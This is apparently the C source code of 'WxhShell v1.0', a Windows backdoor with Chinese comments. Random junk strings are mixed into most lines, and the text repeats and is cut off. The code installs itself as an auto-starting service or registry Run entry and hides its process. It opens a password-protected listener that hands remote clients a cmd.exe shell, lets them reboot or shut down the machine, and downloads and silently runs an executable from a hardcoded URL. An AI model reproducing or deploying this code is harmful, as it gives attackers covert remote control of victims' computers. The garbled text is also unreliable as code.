]=~dyi PROCNTQSIP NtQueryInformationProcess; OS z71;j cyCh^- <l@ static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; uV5uZ static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; zgwez$ $:~;U xh= HANDLE hProcess; \l59/ZFan PROCESS_BASIC_INFORMATION pbi; uN`/&_$c q^aDZzx,z HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); YbZbA >| if(NULL == hInst ) return 0; 0fOhCxtL@ ]*=4>(F[ g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); gA2Wo+\^bq g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); T`x|=} NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); {srP3ll
P JXc.?{LL if (!NtQueryInformationProcess) return 0; (GC]= UY(T>4H+h hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); @"7S$@cO if(!hProcess) return 0; $XF$ n#ua PT~htG<Fw if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; pkn^K+<n, HA,o2jZ?In CloseHandle(hProcess); ~XOmxz0 v #+ECx hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 9+@h2"|N4* if(hProcess==NULL) return 0; aZmN(AJ8v ,Wlt[T(.; HMODULE hMod; L2XhrLK.| char procName[255]; n\ "6ol}>E unsigned long cbNeeded; %66="1z0@ t /+;#- if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); XKWq{,Ks *{ rorir CloseHandle(hProcess); xgk~%X%K kq}byv}3I if(strstr(procName,"services")) return 1; // 以服务启动 p\&O;48= D4L&6[W return 0; // 注册表启动 Bv<g Vt } %,@pV%2 p{w- // 主模块 Tdi^P}i_ int StartWxhshell(LPSTR lpCmdLine) =~;~hZj { Fl`U{03 SOCKET wsl; %YR&>j
k BOOL val=TRUE; KsKE#])&l int port=0; r9ulTv}X struct sockaddr_in door; Dj\nsc@e3 _WEJ,0*#' if(wscfg.ws_autoins) Install(); H,(vTthd #~
x7G
port=atoi(lpCmdLine); gC1LQ!:;Oi k6bct@7 if(port<=0) port=wscfg.ws_port; >$D!mraih /yI4;:/ WSADATA data; OFtaOjsyUa if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; jqaX|)8|$ U`(=iyWP= if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; CTNL-> setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ,U\s89 door.sin_family = AF_INET; $?56 i4 door.sin_addr.s_addr = inet_addr("127.0.0.1"); t{>K).' door.sin_port = htons(port); cfIC(d =dGp&9K,fw if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { e8vy29\S closesocket(wsl); KuP#i]Na return 1; \GL] I. } 5Y *4a%" 6|eqQ+(A if(listen(wsl,2) == INVALID_SOCKET) { a`'>VCg closesocket(wsl); ozRO:*51 return 1; +YvF+E } gy.UTAs
N Wxhshell(wsl); LSC[S: WSACleanup(); On*I.~ ga
+,
P return 0; ]d1'5F][H "-&K!Vfs }
V#ELn[k ,8 4|qI // 以NT服务方式启动 2_wue49-l VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) e4z~ { D>5)',D8xi DWORD status = 0; z 206fF DWORD specificError = 0xfffffff; _pTcSp3 <odi>!ViH serviceStatus.dwServiceType = SERVICE_WIN32; XM:BMd| serviceStatus.dwCurrentState = SERVICE_START_PENDING; "L~Oj&AN[ serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; uY5|Nmiu serviceStatus.dwWin32ExitCode = 0; )V1xL_hx/ serviceStatus.dwServiceSpecificExitCode = 0; .
Vb|le(7 serviceStatus.dwCheckPoint = 0; @[;'b$T$ serviceStatus.dwWaitHint = 0; 64u(X^i 3RtVFDIZA" hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); %E_Y4Oe1 if (hServiceStatusHandle==0) return; +@rFbsyJ. ;U(]#pW!t status = GetLastError(); $4{sPHi)I if (status!=NO_ERROR) m \)B=H!bz { MN<LZC%$ serviceStatus.dwCurrentState = SERVICE_STOPPED; eke[{%L serviceStatus.dwCheckPoint = 0; +
+L7*1t serviceStatus.dwWaitHint = 0; i6#*y!3{ serviceStatus.dwWin32ExitCode = status; SMZ*30i serviceStatus.dwServiceSpecificExitCode = specificError; 1X)#iY SetServiceStatus(hServiceStatusHandle, &serviceStatus); Tksv7*5$ return; ZH
Q?{" } rnK]3Ust Wr[LC& serviceStatus.dwCurrentState = SERVICE_RUNNING; x Q"uC!Gu4 serviceStatus.dwCheckPoint = 0; q1VKoKb6\: serviceStatus.dwWaitHint = 0; A;d@NOI#,K if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); |qX?F` } a[K&;) L/u|90)L // 处理NT服务事件,比如:启动、停止 x"z\d,O%W VOID WINAPI NTServiceHandler(DWORD fdwControl) Ir JSU_ { >>{):r
Z switch(fdwControl) R[m-jUL { ?^~ZsOd8B
case SERVICE_CONTROL_STOP: j6l1<3j serviceStatus.dwWin32ExitCode = 0; .s<0}<Aq> serviceStatus.dwCurrentState = SERVICE_STOPPED; -- %XkO serviceStatus.dwCheckPoint = 0; XCI serviceStatus.dwWaitHint = 0; Nw. )O { ]0R*F30] SetServiceStatus(hServiceStatusHandle, &serviceStatus); Y!M0JSaM } I7U/={[J return; 3P0z$jh"H case SERVICE_CONTROL_PAUSE: E 3'I; serviceStatus.dwCurrentState = SERVICE_PAUSED; Pn9". break; Vo"G@W)lZ case SERVICE_CONTROL_CONTINUE: "e-Y?_S7R8 serviceStatus.dwCurrentState = SERVICE_RUNNING; `<tRfl}qs break; fn<dr(Dx case SERVICE_CONTROL_INTERROGATE: JzEg`Sn^ break; E{V?[HcWq }; :P-H8*n"" SetServiceStatus(hServiceStatusHandle, &serviceStatus); iFUiw& } 3V]dl)en% }Cu:BD.zQ // 标准应用程序主函数 OmBM)g int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) q_[y|ETJ] { YIk@{V #K^hKx9 // 获取操作系统版本 3f5YPf2u OsIsNt=GetOsVer(); \IQG%L{ GetModuleFileName(NULL,ExeFile,MAX_PATH); Uc!k)o#= 3N > V
sl // 从命令行安装 9Buss+K?/h if(strpbrk(lpCmdLine,"iI")) Install(); ]2-Qj)mZ] 5 SQ!^1R 9 // 下载执行文件 0gqV>: if(wscfg.ws_downexe) { sO) H#G if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) a?W5~?\9 WinExec(wscfg.ws_filenam,SW_HIDE); eztK`_n } QuS=^,] 9po=[{Bp if(!OsIsNt) { QP(d77n // 如果时win9x,隐藏进程并且设置为注册表启动 _gVihu HideProc(); ;.jj>1=Tnl StartWxhshell(lpCmdLine); R_j.k3r4d } KOg,V_(I else o135Xh$_>' if(StartFromService()) i5 r<CxS // 以服务方式启动 rT R$\ [C StartServiceCtrlDispatcher(DispatchTable); Cj#wY else <J d!`$ // 普通方式启动 jIaaNO) StartWxhshell(lpCmdLine); 2}<tzDI' ~Y43`@3H: return 0; |~A*?6:@ } iU+SXsXLR4 fmYx GpPM ? i?B<&'G =========================================== T
?Om]:j n_{&dVE uyEk1)HC QV."ZhL5 = 7y^)n<'co npeL1zO-$ " O$z"`'&j# -)%\$z #include <stdio.h> $/^Y(0 #include <string.h> 3q4VH q #include <windows.h> 48,*sTRq #include <winsock2.h> 1[OY -G #include <winsvc.h> MVMJl "> #include <urlmon.h> !43nL[] +m
J G:n #pragma comment (lib, "Ws2_32.lib") A23K!a2u& #pragma comment (lib, "urlmon.lib") \@PMj"p|: i$pUUK
#define MAX_USER 100 // 最大客户端连接数 X,3"4 SK #define BUF_SOCK 200 // sock buffer UK
OhsE #define KEY_BUFF 255 // 输入 buffer F$>#P7ph\a >c@! EPS #define REBOOT 0 // 重启 t[k ['<G #define SHUTDOWN 1 // 关机 J4]"@0 ?6 Hd4 ~v0eS #define DEF_PORT 5000 // 监听端口 iM!V4Wih6 3T(ft^~ #define REG_LEN 16 // 注册表键长度 !_Y%+Rkp0 #define SVC_LEN 80 // NT服务名长度 &=t~_ Dc ],AtR1k // 从dll定义API At>e4t2@ typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); }vZfp5Y typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); Kez0Bka typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 2G|}ENC typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 2KXFXR &2:WezDF // wxhshell配置信息 !rgXB( struct WSCFG { gD%o0jt" int ws_port; // 监听端口 .z
CkB86 char ws_passstr[REG_LEN]; // 口令 ;xq;c\N int ws_autoins; // 安装标记, 1=yes 0=no @<P;F char ws_regname[REG_LEN]; // 注册表键名 W\Il@Je; char ws_svcname[REG_LEN]; // 服务名 9Cd=^Im5 char ws_svcdisp[SVC_LEN]; // 服务显示名 Qv,ORm
h5 char ws_svcdesc[SVC_LEN]; // 服务描述信息 Wv3p!zW3I char ws_passmsg[SVC_LEN]; // 密码输入提示信息 tM@%EO int ws_downexe; // 下载执行标记, 1=yes 0=no KdiJ'K. char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" E5gt_,j> char ws_filenam[SVC_LEN]; // 下载后保存的文件名 "/O07l1Q< {uwPP2YD, }; K4Ed]hX )cgNf]oy // default Wxhshell configuration (|O(BxS struct WSCFG wscfg={DEF_PORT, s4 ,` "xuhuanlingzhe", \B
8 j9 1, J%Y-3{TQK "Wxhshell", W SvhC "Wxhshell", ;t
N@ "WxhShell Service", LB7$&.m'B "Wrsky Windows CmdShell Service", &%3}'&EBv "Please Input Your Password: ", T#E,^|WEk 1, M+-odLltw "http://www.wrsky.com/wxhshell.exe", `-s]dq "Wxhshell.exe" c(Xm~
'jeH }; .4 NcaMj PtPx(R3 // 消息定义模块 z xgDaT char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; &B8x0 yi char *msg_ws_prompt="\n\r? for help\n\r#>"; EP4?+"Z char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; g:^Hex?Yfd char *msg_ws_ext="\n\rExit."; &iuMB0rbu char *msg_ws_end="\n\rQuit."; Yk{4 3yw char *msg_ws_boot="\n\rReboot..."; c ~M'O26bW char *msg_ws_poff="\n\rShutdown..."; r"L:Mu char *msg_ws_down="\n\rSave to "; 1"A"AMZf H(?+-72KX char *msg_ws_err="\n\rErr!";
B*`[8kb, char *msg_ws_ok="\n\rOK!"; DbI)tDi5D "@+Z1k-8U char ExeFile[MAX_PATH]; {JQV~rfh` int nUser = 0; m,5m'9dj HANDLE handles[MAX_USER]; "V:RKH` int OsIsNt; X.e4pLwGK abe5 As r SERVICE_STATUS serviceStatus; ME*zMLoF+ SERVICE_STATUS_HANDLE hServiceStatusHandle; cor!S a> \Vj7%ph // 函数声明 Nc EPPl0I int Install(void); YqKQm+G int Uninstall(void); *wdNZ int DownloadFile(char *sURL, SOCKET wsh); EwfL.z int Boot(int flag); w$qdV,s 7 void HideProc(void); u~t% GIg int GetOsVer(void); RXO}mu]Iu int Wxhshell(SOCKET wsl); M&(0n?R"R void TalkWithClient(void *cs); 7
A{R0@ int CmdShell(SOCKET sock); P` CQ)o int StartFromService(void); ]<iD'=a int StartWxhshell(LPSTR lpCmdLine); [2!?pVI *[3tGiU J VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); fn//j7 j VOID WINAPI NTServiceHandler( DWORD fdwControl ); F{&0(6^p! BC%V<6JBu( // 数据结构和表定义 2Zq_zvKUt SERVICE_TABLE_ENTRY DispatchTable[] = ;k1VY
Ie} { #%CB`l {wscfg.ws_svcname, NTServiceMain}, \!)1n[N {NULL, NULL} ^x >R #.R }; RLh%Y>w #FGj)pu // 自我安装 3 lKBwjW int Install(void) CTB
qX { 30cb+)h( char svExeFile[MAX_PATH]; "f!H[F1~ HKEY key; 0#sf,ja> strcpy(svExeFile,ExeFile); bhjJH,%_> r*Z p-} // 如果是win9x系统,修改注册表设为自启动 jJkc vC8d if(!OsIsNt) { 2G/CN" if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { @oRo6Y<- RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); f2P2wt.$ RegCloseKey(key); DRu#vC if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Gd2t^tc RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); b9l%5a RegCloseKey(key); !5zj+N return 0; \S#![NC } DoEN`K\U } Cm6%wAzC } $.Qq:(O:6 else { VPDd*32HC G/Yqvu,2! // 如果是NT以上系统,安装为系统服务 #
i|pi'Ij SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 2,6|l.WFpE if (schSCManager!=0) CVgVyy^ { OYIH**? SC_HANDLE schService = CreateService 4:s!mHcz ( .Nd_p{
schSCManager, $0~_)$i: wscfg.ws_svcname, &~N@M!`Dn wscfg.ws_svcdisp, kSqMI'89 SERVICE_ALL_ACCESS, `Yo!sgPO\ SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , y=e|W=<D& SERVICE_AUTO_START, Tml>>O SERVICE_ERROR_NORMAL, hLSas#B> svExeFile, LyT[ NULL, pTcN8E&Unz NULL, D7,{p2<2T NULL, WD'[|s\ NULL, m@c\<-P NULL /80RO:'7 ); Ix+\oq,O if (schService!=0) >f~y2YAr { c ^+{YH;k CloseServiceHandle(schService); ^s3 SzB@ CloseServiceHandle(schSCManager); |("zW7g strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); :8Ql(I strcat(svExeFile,wscfg.ws_svcname); I#:4H2H6 if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { Z'\{hL S RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); `< cn RegCloseKey(key); iFB {a?BE return 0; iy,jq5uw } v?#W/].C+ } tq8rG@-C CloseServiceHandle(schSCManager); 2)R*d } a*UxRi8 } !L55S03 ty)~]!tA return 1; sy+tLDMd } %1PNP<3r0 :J;*]o: // 自我卸载 {$qLMx'; int Uninstall(void) GPU,.s"&( { R(cM4T.a HKEY key; MN. $a9m .hytn`+9 if(!OsIsNt) { F*/J`l if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { H1kxY]_/ RegDeleteValue(key,wscfg.ws_regname); UZ 6:vmcT RegCloseKey(key); ]=T-Cv=t if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { A{KF<Omu RegDeleteValue(key,wscfg.ws_regname); i| OG#PsY- RegCloseKey(key); ~_hn{Ous return 0; (GDW9: } YhFd0A?] } 0%GQXiy } f-l(H="e else { }*M>gvPo x`gsD3C SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 4^AdSuV if (schSCManager!=0) xa|/P#q { ?LA`v_ SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); jun$CY4 if (schService!=0) +OX:T) 4h6 { z !:%Hbh= if(DeleteService(schService)!=0) { L{AfrgN CloseServiceHandle(schService); <aGfQg|554 CloseServiceHandle(schSCManager); Zdll}nO"E return 0; -_"6jU } :]k`;;vh CloseServiceHandle(schService); gKWsmx![" } U8R*i7 CloseServiceHandle(schSCManager); OykYXFv* } 3=xN)j#B } >]S-a-|Bp ,5HC&@ return 1; 1wM~),B8 } q, XRb ;-!j,V+$h // 从指定url下载文件 I<^&~== int DownloadFile(char *sURL, SOCKET wsh) zTvGku[3 { 7c
aV-8: HRESULT hr; ntt:>j$ char seps[]= "/"; gj-MkeI) char *token; sAfNu~d char *file; "YePd*W char myURL[MAX_PATH]; ^OnZ9?C{R char myFILE[MAX_PATH]; &3%V%_ MY"8! strcpy(myURL,sURL); eg
Zb)pP token=strtok(myURL,seps); 4vbtB2 while(token!=NULL) G [$u`mxV^ { /D&7 \3} file=token; /r@~"Rx ' token=strtok(NULL,seps); h;?H4j } 4<Q^/-W Rx%SeM2 GetCurrentDirectory(MAX_PATH,myFILE); ;<)<4N" strcat(myFILE, "\\"); v[I,N$: strcat(myFILE, file); $`Hb- send(wsh,myFILE,strlen(myFILE),0); Fl0 :Z send(wsh,"...",3,0); T+U,?2nF: hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 19.oW49Sw if(hr==S_OK) ;ro%Wjg`} return 0; ?kKr/f4N else U>=&
2Z2? return 1; Z_}[hz$ >%{H>?Hn } (nLT8{>0 `M.\ D // 系统电源模块 ~Ddlr9Ej int Boot(int flag) Y+0HC2(o { # 8fq6z|JZ HANDLE hToken; @Rp#*{ TOKEN_PRIVILEGES tkp; Nr#" 5<W + tza]r: if(OsIsNt) { }SZU'lYHoM OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); c6_i~0W56 LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); IFfB3{J tkp.PrivilegeCount = 1; oZSPdk
tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; a1yGgT a?D AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); }10ZPaHjl+ if(flag==REBOOT) { 0$A7"^] if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) %RX}sS return 0; (n0h#% } mcqLN5 else { r}Ec_0_lt if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) S@[B?sNj return 0; 6
r}R%{ } /<-@8CC< } @dx$&;w else { C])b 3tM,7 if(flag==REBOOT) { \1R<GBC4 if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) z6>Rv9f return 0; Dj(!i1eQNZ } t0-)\kXcA else { k;c>=B)e if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) "{"745H5 return 0; %e|.a)78 } MWZH-aA(. } y|(C L^( QssU\@/Q return 1; q6a7o=BP] } D +Ui1h- PG*:3![2 // win9x进程隐藏模块 I' TprT void HideProc(void) asd3J { "ukiuCfVuW M:QM*?+) HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 3yp?|>e if ( hKernel != NULL ) &x>8
%Q s { &2\^S+4 pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); LL"c 9jb4z ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); Cr#Z. FreeLibrary(hKernel); i^2-PKPg{ } \PJpy^i `#x}-A$ return; czu?]9;^
Z } W34_@,GD .&2Nm&y$K // 获取操作系统版本 qnCJrY6] int GetOsVer(void) 5nSi29C { x}B_;&>&"_ OSVERSIONINFO winfo; >3&Oe winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
L$Yg*]\ GetVersionEx(&winfo); CS|al(?~ if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) nXFPoR)T return 1; (`me}8 else xq-TT2}<L return 0; pf[m"t6G~ } sm9/sX! u-%|ZSg // 客户端句柄模块 Wi%e9r{hU int Wxhshell(SOCKET wsl) rS&"UH?c7 { `m7w%J.> n SOCKET wsh; |(77ao3 struct sockaddr_in client; Iq["(!7E5 DWORD myID; SL ) ope [B+]F~}@ while(nUser<MAX_USER) eb#p-=^KP { +u\kTn int nSize=sizeof(client); 8LH\a.> wsh=accept(wsl,(struct sockaddr *)&client,&nSize); SQ0?M\D7 if(wsh==INVALID_SOCKET) return 1; }K'gjs/N; }Md5a%s< handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); fs,]%g^ if(handles[nUser]==0) jhF&
closesocket(wsh); X5w_ }Nhe else ])tUXU> nUser++; Wkj0z]]? } x?rn<= WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 2.PZtl lGZf_X)gA^ return 0; V(c>1xLlz } =%Z5"]; t$zeBOI) // 关闭 socket c%x9.s<+1 void CloseIt(SOCKET wsh) 1];OGJuJ2 { /(jG9RM closesocket(wsh); "HwSW4a] nUser--; 5 ^867
ExitThread(0); 7I4<Dj } ##r9/`A W:hg*0z-* // 客户端请求句柄 (mOL<h[)IP void TalkWithClient(void *cs) rJ=r_v { +L
U.QI' ?4%@"49n X SOCKET wsh=(SOCKET)cs; ]TX"BH"2 char pwd[SVC_LEN]; 3)0z( 30 char cmd[KEY_BUFF]; rJKac"{ char chr[1]; ~`c(7 int i,j; T:=ST3#m =;A>1g$ while (nUser < MAX_USER) { G5,g$yNs ?ytY8`PC if(wscfg.ws_passstr) { wT>~7$=L{ if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); U!O"f //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); K'\Jnn //ZeroMemory(pwd,KEY_BUFF); T]UrKj/iF i=0; ,+GS.]8< while(i<SVC_LEN) { j{&$_ f~t5[D(\Q, // 设置超时 tTE]j-uT fd_set FdRead; $eiW2@ struct timeval TimeOut; yE{\]j|Zf FD_ZERO(&FdRead); 20Z=_}, FD_SET(wsh,&FdRead); d\-v+'d*+ TimeOut.tv_sec=8; E/@ TimeOut.tv_usec=0; ?DgeKA"A int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); F_.1^XM if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); des.TSZ 0T2^$^g if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); K3xt,g
pwd=chr[0]; w:nLm, if(chr[0]==0xd || chr[0]==0xa) { FxdWJ|rN9D pwd=0; :`B70D8ku break; ^/ZNdwx } f)1*%zg% i++; \__xTL\ } vww>] Z} Zdy{e|-Zn // 如果是非法用户,关闭 socket V~MyX&` if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); gN;
E}AQt } >qS2ha Plj >+XRO send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); )<(3 .M send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); }U ue}VOA WX4f3Um while(1) { vI \8@97 }uiD8b{I ZeroMemory(cmd,KEY_BUFF); au#/Q wK!7mZ // 自动支持客户端 telnet标准 h!J|4Qa j=0; Ejt?B')aB5 while(j<KEY_BUFF) { 5Zuk`%O if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ^GnR1.ux cmd[j]=chr[0]; $EG9V++b3 if(chr[0]==0xa || chr[0]==0xd) { V='A;gs cmd[j]=0; #`@5`;U># break; 45Lzq6 } oq9gFJG( j++; &G)/i* } nSpOTQ _%KRZx} // 下载文件 rEwd76? if(strstr(cmd,"http://")) { ZxAk send(wsh,msg_ws_down,strlen(msg_ws_down),0); {sW>J0 if(DownloadFile(cmd,wsh)) I<qG{PA send(wsh,msg_ws_err,strlen(msg_ws_err),0); 6
\}.l else 3}5Ya\x send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); BVG.ZZR}) } d+p^fBz else { :%<'('S| .^8rO,H[ switch(cmd[0]) { c)Ne/E{!0 PIHKSAnq // 帮助 ?tkl
cYB case '?': { a7sX*5t{R send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); yG2rAG_G& break; xbzO'C } w ufQyT` // 安装 S;j"@'gz9 case 'i': { 49=L9: if(Install()) Nz>xilU' send(wsh,msg_ws_err,strlen(msg_ws_err),0); vLpIVNA]]Y else J"K(nKXO_? send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); U>0bgL break; w[g`)8Ib } e)$a ;6 // 卸载 _wUg+Xs] case 'r': { 4+:'$Nw if(Uninstall()) Ctbc!<@o send(wsh,msg_ws_err,strlen(msg_ws_err),0); :A+}fBIN else "a-;?S& send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); mhI break; {7Hc00FM } -s^)HR
l // 显示 wxhshell 所在路径 d%:J-UtG" case 'p': { eq@-J+ char svExeFile[MAX_PATH];
@<koL strcpy(svExeFile,"\n\r"); hE7rnn{ strcat(svExeFile,ExeFile); S^iT&;, send(wsh,svExeFile,strlen(svExeFile),0); yCwe:58 break; b+$E*} } jB,VlL // 重启 _k#!^AJ}x case 'b': { K"zRj L+ send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); gF:|j( if(Boot(REBOOT)) qq"0X! w send(wsh,msg_ws_err,strlen(msg_ws_err),0); =1\mLI}@ else { 0|ekwTx. closesocket(wsh); {E.A?yej9 ExitThread(0); '4}8WYKQ } +1^L35\@ break; y?Pw6;e. } {a]u // 关机 4'"WD0 case 'd': { =R)w=ce send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 8?ip,Q\ if(Boot(SHUTDOWN)) 9\uBX.]x send(wsh,msg_ws_err,strlen(msg_ws_err),0); _<'?s>(U' else { T1%}H3 closesocket(wsh); R&Ss ET. ExitThread(0); <{i1/"k?X } H.[nr: break; S
R s } .\:MB7p // 获取shell P 1 case 's': { ^91Ae!)d CmdShell(wsh); :i|Bz6Ht4 closesocket(wsh); v8zO Y#? ExitThread(0); LtPaTe break; Hc-up.?v'v } q2/kegAT // 退出 lYmxd8 case 'x': { c]"w0a-`^@ send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); j /@<= CloseIt(wsh); tJ
.Ln break; ;*hVAxs1 } jhJ<JDJ?` // 离开 '(-H#D.oy' case 'q': { ez~u A4 send(wsh,msg_ws_end,strlen(msg_ws_end),0); a:;7'w' closesocket(wsh); #Z,@yJ2wl WSACleanup(); dptfIBYc+ exit(1); (\nEU! Y break; OIkjO}/7 } K"ly\$F } @>&b&uj7T } /qFY$vj = ?BhtW // 提示信息 6 X'#F,M if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ^Jw=5ImG } t{,e{oZx } !?lvmq J:OP*/@=' return; )G-u;1rd } Wiw~oXo >!%+9@a} // shell模块句柄 B>c2 *+Bk int CmdShell(SOCKET sock) Q(O0z3 b { Tp.:2[ STARTUPINFO si; )l.AsfW% ZeroMemory(&si,sizeof(si)); ia,5=SKJ si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; U;0:@.q si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; D5:|CMQ PROCESS_INFORMATION ProcessInfo; DK20}&RQ char cmdline[]="cmd"; :4)(Qa( CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); n5)ml)m return 0; F6}YM| } cP\ZeG#< !tb!%8{~ // 自身启动模式 |oSqy int StartFromService(void) JJ'f\f9 { Y!+H9R typedef struct <[w5M?n8 { hj{)6dBX% DWORD ExitStatus; bYqv)_8 DWORD PebBaseAddress; ;+bF4r@:+ DWORD AffinityMask; #m;o)KkH$r DWORD BasePriority; XN{WxcZ ULONG UniqueProcessId; o ZQ@ Yu3 ULONG InheritedFromUniqueProcessId; ym_as8A*Q } PROCESS_BASIC_INFORMATION; 7 U-}Y X&i;WI PROCNTQSIP NtQueryInformationProcess; ]z#)XW3#i =)Fb&h]G^ static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 5z\,] static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; F_I!qcEQ %Y"pVBc HANDLE hProcess; ?uU_N$x PROCESS_BASIC_INFORMATION pbi; $zF%F.rln %dzO*/8cWo HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ]{|lGtK % if(NULL == hInst ) return 0; Q [C26U # ,97 ] g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); |'I>Ojm g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); KW3<5+w]c NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); <L<^uFB u /DE if (!NtQueryInformationProcess) return 0; 9XKqsvdS Ep:hObWG) hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); Bs|Xq'1M!; if(!hProcess) return 0; %yd(=%)fMB y4$$*oai& if(NtQueryInformationProcess( hProcess, 